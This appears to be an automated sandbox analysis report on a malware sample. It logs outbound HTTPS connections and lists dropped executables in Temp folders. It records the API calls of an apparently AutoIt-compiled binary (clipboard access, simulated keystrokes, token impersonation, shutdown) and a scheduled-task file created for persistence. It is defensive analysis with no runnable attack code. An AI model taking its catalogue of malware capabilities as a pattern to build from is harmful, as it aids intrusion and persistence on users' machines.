Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50412
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50324
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.4:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.22:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.22:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.22:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.91:443 -> 192.168.2.4:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.50.80.209:443 -> 192.168.2.4:50282 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50327 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50326 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50325 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00FAEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

10_2_00FAEAFF

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00FAED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

10_2_00FAED6A

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

10_2_00FAEAFF

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F9AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

10_2_00F9AA57

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00FC9576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

10_2_00FC9576

System Summary

Binary is likely a compiled AutoIt script file

Source: bebc60ce74.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: bebc60ce74.exe, 0000000A.00000000.2728305400.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_69d1e2f5-e
Source: bebc60ce74.exe, 0000000A.00000000.2728305400.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_0960a584-2

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 0db0ccc3ed.exe.6.dr	Static PE information: section name:
Source: 0db0ccc3ed.exe.6.dr	Static PE information: section name: .idata
Source: 0db0ccc3ed.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: e01d8601b1.exe.6.dr	Static PE information: section name:
Source: e01d8601b1.exe.6.dr	Static PE information: section name: .idata
Source: e01d8601b1.exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: 74f23764ea.exe.6.dr	Static PE information: section name:
Source: 74f23764ea.exe.6.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F9D5EB: CreateFileW,DeviceIoControl,CloseHandle,

10_2_00F9D5EB

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F91201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

10_2_00F91201

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F9E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

10_2_00F9E8F6

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F38060	10_2_00F38060
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FA2046	10_2_00FA2046
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F98298	10_2_00F98298
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F6E4FF	10_2_00F6E4FF
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F6676B	10_2_00F6676B
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FC4873	10_2_00FC4873
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F3CAF0	10_2_00F3CAF0
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F5CAA0	10_2_00F5CAA0
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F4CC39	10_2_00F4CC39
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F66DD9	10_2_00F66DD9
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F391C0	10_2_00F391C0
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F4B119	10_2_00F4B119
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F51394	10_2_00F51394
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F51706	10_2_00F51706
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F5781B	10_2_00F5781B
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F519B0	10_2_00F519B0
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F4997D	10_2_00F4997D
